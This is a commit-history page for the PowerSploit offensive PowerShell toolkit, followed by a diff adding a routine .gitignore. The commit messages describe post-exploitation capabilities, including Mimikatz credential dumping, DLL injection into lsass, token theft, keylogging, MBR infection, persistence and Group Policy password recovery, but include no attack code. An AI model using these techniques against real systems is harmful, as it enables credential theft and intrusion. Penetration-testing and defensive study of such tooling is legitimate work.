184 Commits

Author SHA1 Message Date
PowerShellMafia 9e771d15bf Merge pull request #102 from PowerShellMafia/dev
Merge 3.0 release changes
2015-12-18 16:33:59 -08:00
Matt Graeber 9f183e3651 Set all module versions to 3.0
Also cleaned up some module manifest cruft.
2015-12-18 16:28:03 -08:00
Matt Graeber 29ae830b73 Improved root module manifest for PS Gallery 2015-12-18 16:17:16 -08:00
Matt Graeber 26e0b29e67 Added manifest info for the PowerShell Gallery 2015-12-18 14:24:11 -08:00
Matt Graeber 2a8da712b6 Updated .psproj to reflect additions/removals 2015-12-18 11:43:40 -08:00
Matt Graeber 52c46b1d3a Revert "Invoke-ReflectivePEInjection test harnesses updated"
This reverts commit 98ebc1b0b8.
2015-12-17 20:30:04 -08:00
Matt Graeber 98ebc1b0b8 Invoke-ReflectivePEInjection test harnesses updated
Affected test harness PEs were updated to work in XP. Addresses issue
#100
2015-12-17 18:50:15 -08:00
Matt Graeber 55098d59e9 Removed version numbers from scripts
A module should maintain a version number not the individual scripts.
2015-12-16 17:08:58 -08:00
Matt Graeber c2a70924e1 Removed all version numbers from scripts
Scripts in a module should not be individually versioned. Only the
module should be versioned.
2015-12-16 17:08:57 -08:00
PowerShellMafia b01a8127bc Added volume shadow copy functions to README.md 2015-12-16 16:52:53 -08:00
PowerShellMafia 70f25c90e2 Update README.md 2015-12-16 15:24:18 -08:00
Matt Graeber 1cdad586c8 Added a slight delay to Invoke-DllInjection validation
In some cases, the loaded module would show up as loaded after the check
occurred.
2015-12-16 14:48:09 -08:00
Matt Graeber f5d9b25275 Invoke-DllInjection detects OS arch on all OSes
This fix addresses issue #99. While I'm not the biggest fan of
performing tests based on environment variables, I felt that making
additional Win32 API calls would have been overkill.
2015-12-16 14:31:03 -08:00
Matt Graeber ef37a138b8 Fixed Add-Persistence. Issue #98 2015-12-16 13:36:22 -08:00
Matt Graeber 9a2dfad3de Fixed mangled decrypted script output
Addresses issue #80. This was a tricky fix because the script should
ideally handle Unicode and Ascii encoded scripts. I haven't tested
scripts with international characters but I would imagine those script
would get mangled since the decrypted output is ultimately normalized to
ascii.
2015-12-16 10:15:14 -08:00
Matt Graeber fdcdeab702 Fixed Invoke-WmiCommand credential popup issue
Easy fix to issue #97
2015-12-16 08:50:34 -08:00
PowerShellMafia fef09e6cc1 Merge pull request #91 from FixTheExchange/patch-1
Update Invoke-TokenManipulation.ps1 to address Win 10 incompatibility
2015-12-15 12:23:12 -08:00
Matt Graeber f70c63f9d5 Invoke-WmiCommand is now PSv2 compatible
This bug fix addresses issue #96. As much as a hate dropping files to
disk, this was the easiest way to preserve objects in PSv2+. If someone
want to implement the [de]serialization themselves and keep everything
in memory, please submit a PR.
2015-12-15 11:55:47 -08:00
Matt Graeber f6e032c3b1 Invoke-WmiCommand now obtains full powershell path
Addresses issue #95.
2015-12-15 09:10:35 -08:00
Matt Graeber 924103aa01 Invoke-DllInjection Pester test improvement
The test dll I now use is advpack.dll since that is present in all
versions of windows.
2015-12-14 20:43:51 -08:00
Matt Graeber e144be7f29 Invoke-Mimkatz: Incorporated latest 2.0 alpha build
Updated embedded powerkatz.dll to the latest version of mimikatz -
[Commit
1b13057](https://github.com/gentilkiwi/mimikatz/commit/1b130574ed78d1d9bf6117b0839056900cb8f816)

This update addresses issue #94.
2015-12-14 20:21:43 -08:00
Harmj0y 55fabd7e2e Removed commented blocks. 2015-12-14 22:00:21 -05:00
Harmj0y dae9d91fdb Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev 2015-12-14 21:54:11 -05:00
Harmj0y 0181ff0c09 Removed C# enum for Test-ServiceDaclPermission 2015-12-14 21:53:42 -05:00
Matt Graeber 00af1656b2 Bugfix #93
Removed the "EndAddress" parameter set since it was never used. This
should resolve any parameter set confusion.
2015-12-14 17:26:33 -08:00
Matt Graeber ce3b21685a Bugfix #92: perform OS check when importing NtCreateThreadEx 2015-12-14 16:40:09 -08:00
Harmj0y 9ffc26af70 Added admin rights check for existing Privesc Pester tests 2015-12-14 19:33:15 -05:00
Harmj0y 5690b09027 Get-NetDomain now not called if -ComputerName or -ComputerFile are passed for meta functions, in order to prevent failure when running on a non-domain joined machine
took out FQDN Pester tests from Recon.tests.ps1 that used $env:userdnsdomain
2015-12-14 19:01:10 -05:00
Harmj0y e2993b63aa Modified Tests/Privesc.tests.ps1 to ensure file artifacts are not left on disk. 2015-12-14 18:19:17 -05:00
Harmj0y a235313996 Modified Tests/Recon.tests.ps1 to ensure file artifacts are not left on disk. 2015-12-14 17:34:12 -05:00
Matt Graeber 7f6d3a4565 Fix Invoke-Shellcode OS architecture detection
Fixes issue #70
2015-12-14 11:02:14 -08:00
Matt Graeber 93a71b037c Adding PollingInterval param to Get-Keystrokes
Incorporates idea from @obscuresec in issue #50.
2015-12-14 09:11:05 -08:00
Harmj0y a336562b70 Added Invoke-DowngradeAccount to set an account to use reversible encryption. 2015-12-11 14:58:07 -05:00
Harmj0y a0b95c36b4 Domain local group query fix.
Added ConvertFrom-UACValue to convert binary UAC values to human readable format.
Corrected logic in Set-ADObject.
2015-12-11 10:21:39 -05:00
Harmj0y e44df184a8 Start of Recon/PowerView Pester tests 2015-12-03 21:57:41 -05:00
Harmj0y c143dc6885 Privesc/PowerUp Pester tests 2015-12-03 21:57:26 -05:00
Harmj0y 8ab8c49a0d Added ./Privesc/ folder that integrates PowerUp.ps1
Updated README.md's
2015-12-03 21:56:08 -05:00
Harmj0y 5fb690518d Integration of PowerView into ./Recon/ 2015-12-03 21:50:45 -05:00
Matt Graeber 729e9ca267 Removing Invoke-ShellcodeMSIL from psproj file 2015-11-09 10:58:52 -08:00
Matt Graeber 62bb142a68 Excluding the Tests folder from being loaded as a module 2015-11-09 10:57:19 -08:00
Matt Graeber c03965c8f9 Adding Pester tests for CodeExecution module 2015-11-09 10:56:34 -08:00
Matt Graeber a78b40429e Revert "Excluding the Tests folder from being loaded as a module"
This reverts commit a0ab599810.
2015-11-09 10:52:41 -08:00
Matt Graeber a0ab599810 Excluding the Tests folder from being loaded as a module 2015-11-09 10:52:23 -08:00
Matt Graeber aae81ddfe5 Adding -DoNotZeroMZ for testing 2015-11-07 20:26:08 -08:00
Matt Graeber 992f980022 Removed extraneous parameters
Removed extraneous parameters

Removed the following extraneous parameters:
-PEPath
-PEUrl

The functionality they provided can be easily replicated in code outside
of Invoke-ReflectivePEInjection. i.e. it should be up to the user how
they might want to download a PE before loading it. That should not be
dictated by Invoke-ReflectivePEInjection.
2015-11-07 20:00:22 -08:00
Matt Graeber b8e831e4f9 Revert "Removed extraneous parameters"
This reverts commit 0eb520e31f.
2015-11-07 19:50:05 -08:00
Matt Graeber 0eb520e31f Removed extraneous parameters
Removed the following extraneous parameters:
-PEPath
-PEUrl
-ComputerName

The functionality they provided can be easily replicated in code outside
of Invoke-ReflectivePEInjection. i.e. it should be up to the user how
they might want to download a PE before loading it. That should not be
dictated by Invoke-ReflectivePEInjection.
2015-11-07 20:25:29 -05:00
Matt Graeber 17bfa4e276 Fixed a casting bug 2015-11-06 13:31:58 -05:00
Matt Graeber 18b7a10f89 Removing Invoke-ShellcodeMSIL
This was only ever intended to be a PoC. I'll bring this back if
requested but it exhibits duplicate functionality.
2015-11-05 13:26:05 -05:00
Matt Graeber 641eff706e Test: Ensure all scripts are not LE Unicode encoded 2015-11-05 10:36:17 -05:00
Matt Graeber d1145e0540 Re-import Invoke-Shellcode.ps1 2015-11-05 10:34:26 -05:00
Matt Graeber 81b57738ab Adding Visual Studio 2015 project file
Those who wish to load this project into VS 2015 with Adam Driscoll's
PowerShell VS extension may now do so.
2015-11-05 10:33:53 -05:00
Matt Graeber 5065810c07 Removing Metasploit integration from Invoke-Shellcode
This should have only ever been a shellcode runner. Those wishing to
integrate this with Metasploit should generate a shellcode payload with
msfvenom.
2015-11-05 10:31:40 -05:00
Matt Graeber d0fff7b637 Migrating everything back to Invoke-Shellcode.ps1. I'm done making my point now. :P 2015-11-04 14:56:46 -05:00
Matt Graeber 12ce71b9f4 Normalizing all files to ascii encoding 2015-11-04 13:48:27 -05:00
Matt Graeber 2dd1f5920d Revert "Normalizing all files to ascii encoding"
This reverts commit 5a812ce823.
2015-11-04 13:41:36 -05:00
Matt Graeber 5a812ce823 Normalizing all files to ascii encoding 2015-11-04 13:40:02 -05:00
FixTheExchange e179b2e932 Update Invoke-TokenManipulation.ps1
Removed 2 unnecessary lines.
2015-10-30 12:48:05 -05:00
FixTheExchange 17dd6835b9 Update Invoke-TokenManipulation.ps1
Windows 10 breaks the current version of Invoke-TokenManipulation.ps1 because wininit is now a protected processes.  Rather than hardcoding to a specific process to obtain a SYSTEM token, it's better to enumerate all processes running as SYSTEM and find one that works. I have updated the script to version 1.12 and added logic on lines 1689-1696 to make sure it can successfully grab a SYSTEM token necessary to function.
2015-10-30 11:38:57 -05:00
Matt Graeber 9f78286ea7 Merge pull request #77 from clymb3r/master
Fix for multi-processor systems
2015-09-30 22:07:56 -07:00
clymb3r 235af294ae Fix for multi-processor systems
Fix processor architecture detection for multi-processor systems.
2015-09-30 21:32:04 -07:00
Matt Graeber 03ed2adb56 Adding Invoke-WmiCommand 2015-09-23 15:25:39 -07:00
Matt Graeber 5ce61e40f5 Merge pull request #69 from Invoke-IR/master
Added New-VolumeShadowCopy and Remove-VolumeShadowCopy Cmdlets
2015-08-16 13:02:26 -07:00
Jared Atkinson c29f9b4743 Cleaned up Remove-VSC and New-VSC
- Changed Remove-VSC to have a single mandatory parameter (DevicePath)
- Updated New-VSC to check initial state of the VSS Service and return
VSS to its inital state after execution
2015-07-08 22:27:12 -04:00
Jared Atkinson 25934d4719 Added New-VolumeShadowCopy and Remove-VolumeShadowCopy Cmdlets 2015-07-08 16:57:31 -04:00
Chris Campbell 2153a0a0b0 Merge pull request #68 from hydrajump/get-keystrokes-headings-reorder
Fix for headings in wrong order
2015-05-11 10:13:54 -04:00
Jonathan 0045054ab0 Fix for headings in wrong order
The column headings in the log file are out of order, e.g.

```
"TypedKey","Time","WindowTitle"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:28"
"Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:38"
```

The "WindowTitle" should be the first column heading like this,

```
"WindowTitle","TypedKey","Time"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:28"
"Document1 - Word","[Shift][Shift]","01-05-2015:20:53:29:31"
"Document1 - Word","[Shift]","01-05-2015:20:53:29:38"
```
2015-05-10 21:32:14 +02:00
Chris Campbell 5b1a7750c0 URI fix, Proxy Support, UA Update
This fixes the URI bug submitted by @enigma0x3. Thank you for the PR as well! A legacy switch is added in case anyone is relying on this script and an older meterpreter handler. 

Proxy support is added to grab the default proxy by way of a switch.

The default user-agent is grabbed from the registry instead of being a static string.

I tested this on a Windows 7 SP1 (both x86 and 64-bit) and Windows 8.1 (64-bit) with an older handler and an updated one.
2015-04-26 18:32:44 -04:00
mattifestation 130d970c2c Out-EncryptedScript uses FIPS-compliant crypto #60
Thanks, @aconite33 for the suggestion.

- TripleDESCryptoServiceProvider is now used as the crypto algorithm
because it won't break the script when FIPS compliance is enabled in the
registry.
- I actually implemented the InitializationVector parameter
- Cleaned up the output script
- Cleaned up comment-based help
2015-02-26 09:24:45 -05:00
Matt Graeber 8b6f759d12 Merge pull request #62 from clymb3r/master
Update to latest Mimikatz, add sanity checks
2015-02-17 15:41:00 -05:00
clymb3r 2e7dc43edb Update to latest Mimikatz, add sanity checks
Updated to the latest Mimikatz build. Added sanity checks to ensure that
32bit PowerShell isn't being run on a 64bit OS which will cause Mimikatz
to fail.
2015-02-16 23:16:31 -08:00
mattifestation 142afad54e Added parameters back to the original Invoke-Shellcode 2015-02-03 21:47:05 -05:00
mattifestation 59b35d1470 Moved Invoke-Shellcode
These things happen
2015-02-03 21:24:46 -05:00
Matt Graeber a574705ce2 Merge pull request #61 from clymb3r/master
Adding PEBytes parameter
2015-01-26 12:30:28 -05:00
clymb3r 93bc214659 Adding PEBytes parameter
Added PEBytes parameter for reflectively loading a PE file passed as a
byte array to the script.
2015-01-26 09:26:43 -08:00
Matt Graeber b0cdb2b754 Merge pull request #59 from clymb3r/master
Bugfix: Resolving ordinals in remote dll injection
2015-01-09 08:20:06 -05:00
clymb3r 90a05de7a6 Bugfix: Resolving ordinals in remote dll injection
Thanks to sixdub for finding and fixing a bug when resolving functions
by ordinal in remote processes.
2015-01-07 21:08:58 -08:00
mattifestation dc1a5e519f Add-Persistence bugfix
When file paths were specified, they were not being properly validated.
2014-11-17 08:24:54 -05:00
mattifestation 956e4c968a Moving all RE functionality to PowerShellArsenal
https://github.com/mattifestation/PowerShellArsenal

PowerSploit will now stay true to its roots of being a purely offensive
PowerShell module.
2014-11-16 10:26:11 -05:00
mattifestation 97034006f6 Loading of an SSP no longer requires a reboot. 2014-10-01 23:17:56 -04:00
Matt Graeber 4daac216c8 Merge pull request #56 from clymb3r/master
Added -PassThru to Invoke-TokenManipulation
2014-10-01 20:49:35 -04:00
mattifestation 0ca33b0347 Added Install-SSP and Get-SecurityPackages 2014-10-01 20:47:14 -04:00
clymb3r ba02a11687 Added -PassThru to Invoke-TokenManipulation
Thanks to Run Mariboe for the contribution to Invoke-TokenManipulation
adding the -PassThru flag for newly created processes. Version increased
to 1.11.
2014-09-28 19:29:44 -07:00
mattifestation 9d412f0d6a Updating the script style guide #2 2014-09-13 12:39:19 -04:00
mattifestation 6df4cf971b Updating the script style guide 2014-09-13 12:37:50 -04:00
mattifestation 258c760c61 Adding MBR infector Set-MasterBootRecord 2014-08-29 21:44:14 -04:00
mattifestation 2e00756b59 Removing New-Object proxy function 2014-08-09 20:26:17 -04:00
Matt Graeber 36e1e29987 Merge pull request #52 from clymb3r/master
Bug fixes to Invoke-ReflectivePEInjection
2014-07-12 07:46:32 -04:00
clymb3r 03b8d5c6b4 Bug fixes to Invoke-ReflectivePEInjection
Fixed a bug where calling GetProcAddress by ordinal instead of procedure
name failed.
Fixed a bug where reflectively loading an EXE will cause the entry
function (main()) to be called twice instead of once as expected.
Added a ForceASLR flag to force ASLR to be used even if the PE file
doesn't officially support ASLR.
Some minor other changes.
2014-07-10 22:40:01 -07:00
mattifestation b43429dd3c Removed required module statement from Capstone 2014-07-10 19:28:47 -04:00
mattifestation 225fbfbc86 Updated Get-VaultCredential name in README 2014-06-30 17:02:03 -04:00
mattifestation 8c2411ccf3 Get-VaultCredential now takes the singular form. 2014-06-30 15:20:48 -04:00
mattifestation dc3cab2c9f Invoke-DllInjection now calls RtlCreateUserThread
Calling CreateRemoteThread on lsass.

Bug fix: Invoke-DllInjection was checking the processor architecture
when it should have been validating the OS architecture. This would
cause Invoke-DllInjection to fail on a 32-bit OS with a 64-bit
processor.
2014-06-21 11:29:46 -04:00
mattifestation 29a5d48c3f Adding Mayhem module and Set-CriticalProcess 2014-06-19 20:28:50 -04:00
mattifestation 80ffa19fa3 Removing Watch-BlueScreen
This vulnerability was patched a while ago making this function largely
irrelevant.
2014-06-19 20:16:26 -04:00
mattifestation 3444a0700e Updated Get-VaultCredentials - Package SID
Package SIDs are now displayed for Win8 apps. Both the package SID and
secret key are requirements for authenticating to Win8 app servers.
2014-05-31 21:22:22 -04:00
mattifestation 890247deec Issue #43 - Adding Get-VaultCredentials
Displays Windows vault credential objects including cleartext web
credentials.
2014-05-30 21:22:31 -04:00
Chris Campbell 4567547d6d Merge pull request #49 from clymb3r/master
Update to latest Mimikatz (crash fix on Win7/8)
2014-05-20 13:52:14 -04:00
clymb3r 6e56d40662 Update to latest Mimikatz (crash fix on Win7/8)
The latest version of Mimikatz fixes a crash that happens on Windows7/8
(and server versions) after installing the latest Windows updates.
2014-05-20 09:34:09 -07:00
Matt Graeber 67ed1d71b4 Merge pull request #44 from clymb3r/master
Updated to latest Mimikatz
2014-05-05 06:16:49 -04:00
clymb3r 794f55a82b Updated to latest Mimikatz
Latest version of Mimikatz now natively supports being reflectively
loaded by Invoke-ReflectivePEInjection, updating the script to take
advantage of this new version.
2014-05-04 18:49:37 -07:00
Matt Graeber 193b005357 Merge pull request #42 from clymb3r/master
Fixing error in script
2014-04-28 20:57:56 -07:00
clymb3r 364dde11e1 Fixing error in script 2014-04-28 20:45:20 -07:00
Matt Graeber 22f984c3f1 Merge pull request #41 from clymb3r/master
Updating Invoke-Mimikatz to Mimikatz 2.0 alpha
2014-04-19 07:46:51 -04:00
clymb3r d085c5b1d7 Fixing formatting 2014-04-16 21:16:02 -07:00
clymb3r f03ab1444d Fixing garbage put in by merge 2014-04-16 21:11:34 -07:00
clymb3r b783b459c1 Merge branch 'master' of https://github.com/mattifestation/PowerSploit
Conflicts:
	Recon/Get-ComputerDetails.ps1
	Recon/Recon.psd1
2014-04-16 21:02:50 -07:00
clymb3r 47b90647c1 Updating Invoke-Mimikatz to Mimikatz 2.0 alpha 2014-04-16 20:47:14 -07:00
Chris Campbell 946328cf9e Missing File Names
Added printers.xml and drives.xml to the search.
2014-03-21 13:22:33 -04:00
mattifestation 5fabddcf1d Fixed error in PowerSploit ADS removal one-liner 2014-03-16 10:09:52 -04:00
mattifestation 202e8f4b36 Adding internal recon/privesc privesc functions #40
Added the following recon functions written by Joe Bialek
(@JosephBialek):

- Find-4648Logons
- Find-4624Logons
- Find-AppLockerLogs
- Find-PSScriptsInPSAppLog
- Find-RDPClientConnections
- Get-ComputerDetails (Combines all of the above functions into a single
function)
2014-03-16 10:02:37 -04:00
Chris Campbell 1798918edf Bug fix of from v3 XML expanding to $Count
This bug fix was from @jakxx
2014-03-05 00:40:02 -05:00
Chris Campbell 49c9f04533 Update to version 2.4.0 from @jakxx
Removed unnecessary comment, merged update with printers.xml and drives.xml from @jackxx
2014-03-05 00:32:40 -05:00
clymb3r 77bcb336e0 Separating out functions & bug fix
All info gathering pieces of this script can now be called individually.
Fixed a bug where the user SID wasn't being converted to a username in
the RDP function.
2014-03-02 21:18:28 -08:00
mattifestation b450a70dbf Added Get-VolumeShadowCopy and Mount-VolumeShadowCopy 2014-03-01 18:26:31 -05:00
mattifestation 1df850208e Consolidated Persistence module functions into Persistence.psm1
It doesn't make sense to have these as separate ps1 files.
2014-02-23 10:35:55 -05:00
mattifestation bbd382e52a #31 Persistence module function nouns are now singular
The function names New-UserPersistenceOption and
New-ElevatedPersistenceOptionNew-ElevatedPersistenceOption now conform
to PowerShell naming best practices.
2014-02-23 10:35:55 -05:00
Matt Graeber 28790b5a08 Merge pull request #32 from obscuresec/master
Minor fixes for compatibility between versions
2014-02-21 23:26:21 -05:00
Chris Campbell 3047ccfe32 Update Get-GPPPassword.ps1 2014-02-21 22:37:23 -05:00
Chris Campbell 7ee66855f3 Update Get-GPPPassword.ps1 2014-02-21 22:34:11 -05:00
Chris Campbell 22572d6e7d Changed the direction of XML parsing
Used Select-XML to ensure compatibility with v2
2014-02-21 22:33:27 -05:00
Chris Campbell 770fe8ff10 Update Get-GPPPassword.ps1
Iterate version.
2014-02-21 15:26:49 -05:00
Chris Campbell 313d80373c Update Get-GPPPassword.ps1 2014-02-21 15:19:55 -05:00
Chris Campbell 261aaf6302 Update Get-GPPPassword.ps1
Bug fix of variables.
2014-02-21 15:09:43 -05:00
mattifestation 24fc1b6b6c Major Revision of Get-GPPPasswords
Thanks @obscuresec!
2014-02-21 05:59:58 -05:00
clymb3r 308042f493 Adding Get-ComputerDetails recon script
Get-ComputerDetails is a recon script which pulls a variety of useful
information off a computer which might later be useful by an attacker.
This includes:
Logons
AppLocker process start logs
PowerShell logs to find scripts run
RDP Client saved servers
2014-02-20 17:47:27 -08:00
mattifestation 22f0c1b13a Changed Inject-LogonCredentials name to Invoke-CredentialInjection 2014-02-12 19:44:12 -05:00
Matt Graeber 331d54eeaf Merge pull request #28 from clymb3r/master
Inject-LogonCredentials has been renamed to Invoke-CredentialInjection.
2014-02-12 19:40:32 -05:00
clymb3r b684da050a Inject-LogonCredentials has been renamed to Invoke-CredentialInjection.
Added a check to ensure the script isn't being run from Session0 with
the "NewWinLogon" flag. This flag does not work in Session0 because
winlogon.exe tries to load stuff from user32.dll which requires a
desktop is present. This is not possible in Session0 because there is no
desktop/GUI, so it causes winlogon to load and then immediately close
with error code c0000142 indicating a DLL failed to initialize. There is
no way to fix this that I know of, if you need to run the script from
Session0 use the "ExistingWinLogon" flag.
2014-02-12 13:52:41 -08:00
mattifestation 92fcfdc384 Add Get-Entropy 2014-02-03 18:37:36 -05:00
mattifestation c5168cdba6 Removed mimikatz.
This doesn't need to reside in PowerSploit. Those that are truly
paranoid should validate that the embedded executable in
Invoke-Mimikatz.ps1 is indeed mimikatz.

This was causing AV to flag upon downloading PowerSploit.
2014-02-03 17:13:41 -05:00
Matt Graeber d9ca5357e4 Merge pull request #26 from obscuresec/master
Update Invoke-ReverseDnsLookup.ps1
2014-01-30 14:38:50 -08:00
Chris Campbell 14780a5678 Update Invoke-ReverseDnsLookup.ps1
Added pipeline support and verbose statement.
2014-01-30 17:13:25 -05:00
mattifestation 7c51e9331b Generate a non-terminating error if there's a binding/framework version mismatch
The user should at least be made aware if they're using an unsupported
framework library version.
2014-01-25 11:48:53 -05:00
mattifestation 22cbc47642 Upgraded Capstone framework libs to 2.0
These are the compiled libs straight from
http://www.capstone-engine.org/download.html
2014-01-25 11:47:09 -05:00
mattifestation 7f0267db7c Disable non-standard cmdlet verb checking 2014-01-25 11:45:59 -05:00
mattifestation 3d564121d7 Capstone.dll returns the correct number of operands now. 2014-01-19 18:53:17 -05:00
mattifestation 5fede76351 Capstone module now incorporates framework 2.0RC1
* I also moved the contents of Get-CSDisassembly.ps1 into Capstone.psm1
2014-01-19 13:56:48 -05:00
Matt Graeber 4f5faf672f Merge pull request #25 from clymb3r/master
Bug fixes for Invoke-TokenManipulation
2014-01-11 15:02:48 -08:00
clymb3r bb41ab98ca Bug fixes for Invoke-TokenManipulation
Processes could not be started when the script was being run from
Session 0. The fix is to use the CreateProcessAsUserW function when
running in Session 0. This API requires SeAssignPrimaryTokenPrivilege
priviege, so for non-session0 calls I still use CreateProcessWithTokenW
which does not require special privileges.
2014-01-10 21:41:44 -08:00
mattifestation 5bca2c3087 Updated usage documentation 2014-01-04 07:54:06 -05:00
mattifestation c3cea2fb61 Updated C# Capstone binding to latest version 2014-01-04 07:53:49 -05:00
mattifestation 9f41edcf82 Fixes #23 - $Password was not being cleared 2014-01-01 13:10:06 -05:00
mattifestation 206fb70a0c Adding 64-bit lib file 2013-12-26 19:35:32 -05:00
mattifestation 7009f92ef3 Major update to Capstone disassembly module
* Refactor of C# capstone binding
* Now compatible in 32 and 64-bit PowerShell
2013-12-26 19:30:41 -05:00
mattifestation 7157507d99 Added Capstone Engine PowerShell binding
Consider this to be an alpha release until the C# binding is published.
2013-12-22 12:46:39 -05:00
mattifestation 46baff5ef2 Added Inject-LogonCredentials to README 2013-11-18 06:30:19 -05:00
Matt Graeber 7de1dd6df7 Merge pull request #21 from clymb3r/master
Adding Inject-LogonCredentials
2013-11-18 03:26:55 -08:00
clymb3r 1503375bfb Adding Inject-LogonCredentials 2013-11-17 21:13:15 -08:00
mattifestation 237d362acf Normalized all scripts to ASCII encoding 2013-11-13 21:01:02 -05:00
mattifestation 306a84fe81 Get-ILDisassembly now accepts ConstructorInfo objects 2013-11-07 08:04:16 -05:00
mattifestation 5b4b9924d5 Get-ILDisassembly now displays metadata tokens.
* Having metadata tokens displayed in output helps with reverse
engineering because you can pass metadata tokens to
System.Reflection.Module.ResolveMember and then easily interact with the
member in question.
* I also fixed a bug when displaying integer constants. I wasn't doing
an endian swap.
2013-11-07 07:28:53 -05:00
Matt Graeber 20f0a5cd96 Merge pull request #19 from clymb3r/master
Updated Invoke-TokenManipulation help
2013-11-04 13:56:47 -08:00
clymb3r 5af0589e8f Updated Invoke-TokenManipulation help 2013-11-04 08:19:28 -08:00
mattifestation 22f232920b Added Invoke-TokenManipulation to README.md 2013-11-04 05:51:33 -05:00
Matt Graeber 8af97c6e24 Merge pull request #18 from clymb3r/master
Adding Invoke-TokenManipulation
2013-11-04 02:43:54 -08:00
clymb3r 7a6e8a0f20 Adding Invoke-TokenManipulation 2013-11-03 22:54:36 -08:00
webstersprodigy c4cd73a9cf Fix for hostfiles option in powershell 2 2013-11-03 22:48:50 -08:00
mattifestation a40e79da93 Updated usage tip 2013-11-03 22:48:50 -08:00
mattifestation 1e4dc7b49f Added a usage tip
Added a one-liner for PSv3 that will remove the annoying warnings that
are displayed when importing scripts downloaded from the Internet.
2013-11-03 22:48:50 -08:00
mattifestation 05cbdab96e Slight clarification to license statement 2013-11-03 22:48:49 -08:00
mattifestation 8c13faaf51 Modified license verbiage 2013-11-03 22:48:49 -08:00
mattifestation cf64b10d5c Added exfil script synopses to README.md
Descriptions for Invoke-NinjaCopy and Invoke-Mimikatz were added to the
readme.
2013-11-03 22:48:48 -08:00
mattifestation 70e5b8375b Fixed minor logic bug in C type undecorated symbols 2013-11-03 22:48:48 -08:00
mattifestation 9fbb4ec3c3 Added Get-LibSymbols
Get-LibSymbols parses Microsoft .lib files and displays decorated and
undecorated symbols.
2013-11-03 22:48:47 -08:00
Matt Graeber 404d2480ba Merge pull request #17 from webstersprodigy/portscan-hostlist-fix
Fix for hostfiles option in powershell 2
2013-10-23 01:44:06 -07:00
webstersprodigy 54971370cf Fix for hostfiles option in powershell 2 2013-10-22 21:04:24 -07:00
mattifestation 737fd832e0 Updated usage tip 2013-10-05 08:39:25 -04:00
mattifestation babad35dae Added a usage tip
Added a one-liner for PSv3 that will remove the annoying warnings that
are displayed when importing scripts downloaded from the Internet.
2013-10-05 08:35:48 -04:00
mattifestation a6c0c940bf Slight clarification to license statement 2013-10-05 08:21:07 -04:00
Matt Graeber 50c6fad88e Merge pull request #16 from clymb3r/master
Switching to ANSI from UTF8 encoding
2013-10-05 04:28:24 -07:00
clymb3r d269eec01d Switching to ANSI from UTF8 encoding
Scripts now work in 2008r2. I thought I tested before uploading but
something broke somehow... Now the scripts work in 2008r2 and win8+
2013-10-01 21:25:36 -07:00
mattifestation 511b682620 Modified license verbiage 2013-10-01 17:47:28 -04:00
mattifestation 70a3a43f24 Added exfil script synopses to README.md
Descriptions for Invoke-NinjaCopy and Invoke-Mimikatz were added to the
readme.
2013-10-01 17:41:54 -04:00
Matt Graeber 6ad050fe7a Merge pull request #15 from clymb3r/master
Adding GitIgnore, adding Invoke-NinjaCopy and Invoke-Mimikatz
2013-10-01 14:29:34 -07:00
clymb3r 59cd183607 Adding Invoke-Mimikatz and Invoke-Ninjacopy 2013-10-01 09:47:05 -07:00
clymb3r b17272eb98 Adding gitignore file
Don't want gigantic ipch files from visual studio (among other useless
files) to be uploaded.
2013-10-01 09:46:42 -07:00
Matt Graeber 23850a6337 Merge pull request #14 from clymb3r/master
Fixes for Windows 8.1/.NET 4.5
2013-10-01 03:12:54 -07:00
clymb3r 1291abdae3 Fixes for Windows 8.1/.NET 4.5
.NET 4.5 introduced breaking changes in the way Marshalling works. Added
a fix so ReflectivePEInjection works with Windows 8.1/.NET4.5.
2013-09-30 22:32:57 -07:00
mattifestation ec39ee2113 Fixed minor logic bug in C type undecorated symbols 2013-09-30 06:43:03 -04:00
mattifestation e62121ea27 Added Get-LibSymbols
Get-LibSymbols parses Microsoft .lib files and displays decorated and
undecorated symbols.
2013-09-29 17:12:16 -04:00
Matt Graeber 65cd074eaf Merge pull request #13 from clymb3r/master
Call to DllMain when unloading reflective DLL
2013-09-04 04:54:15 -07:00
clymb3r 5e1f6ac29a Call to DllMain when unloading reflective DLL
Prior to this fix, DllMain with the ProessDetach flag was not called
when unloading the reflectively loaded DLL. This was causing very weird
crashes in the Invoke-NinjaCopy script which is built on this script.
This should fix the crash.
2013-09-03 20:10:18 -07:00
mattifestation 6807da424f Added ProcessModuleTrace cmdlets
Added *-ProcessModuleTrace cmdlets to trace details when modules are
loaded into a process. These can be useful for malware analysis.
2013-08-29 19:56:01 +00:00
124 changed files with 41845 additions and 12194 deletions
+214
View File
@@ -0,0 +1,214 @@
#################
## Eclipse
#################
*.pydevproject
.project
.metadata
bin/
tmp/
*.tmp
*.bak
*.swp
*~.nib
local.properties
.classpath
.settings/
.loadpath
# External tool builders
.externalToolBuilders/
# Locally stored "Eclipse launch configurations"
*.launch
# CDT-specific
.cproject
# PDT-specific
.buildpath
#################
## Visual Studio
#################
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
build/
[Bb]in/
[Oo]bj/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
